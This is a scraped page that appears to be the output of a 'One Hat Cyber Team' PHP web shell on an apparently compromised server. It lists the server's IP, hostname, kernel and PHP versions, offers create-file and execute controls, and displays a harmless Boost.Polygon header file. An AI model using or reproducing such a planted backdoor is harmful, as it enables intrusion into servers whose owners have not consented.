One Hat Cyber Team
Your IP :
216.73.217.36
Server IP :
162.240.179.46
Server :
Linux vps-14493116.nutrivittasaude.com.br 5.14.0-687.17.1.el9_8.x86_64 #1 SMP PREEMPT_DYNAMIC Mon Jun 22 07:21:26 EDT 2026 x86_64
Server Software :
Apache
PHP Version :
8.2.31
Buat File
|
Buat Folder
Eksekusi
Dir :
~
/
usr
/
include
/
boost
/
polygon
/
View File Name :
rectangle_traits.hpp
/* Copyright 2008 Intel Corporation Use, modification and distribution are subject to the Boost Software License, Version 1.0. (See accompanying file LICENSE_1_0.txt or copy at http://www.boost.org/LICENSE_1_0.txt). */ #ifndef BOOST_POLYGON_RECTANGLE_TRAITS_HPP #define BOOST_POLYGON_RECTANGLE_TRAITS_HPP #include "isotropy.hpp" namespace boost { namespace polygon{ template <typename T, typename enable = gtl_yes> struct rectangle_traits {}; template <typename T> struct rectangle_traits<T, gtl_no> {}; template <typename T> struct rectangle_traits<T, typename gtl_same_type<typename T::interval_type, typename T::interval_type>::type> { typedef typename T::coordinate_type coordinate_type; typedef typename T::interval_type interval_type; static inline interval_type get(const T& rectangle, orientation_2d orient) { return rectangle.get(orient); } }; template <typename T> struct rectangle_mutable_traits { template <typename T2> static inline void set(T& rectangle, orientation_2d orient, const T2& interval) { rectangle.set(orient, interval); } template <typename T2, typename T3> static inline T construct(const T2& interval_horizontal, const T3& interval_vertical) { return T(interval_horizontal, interval_vertical); } }; } } #endif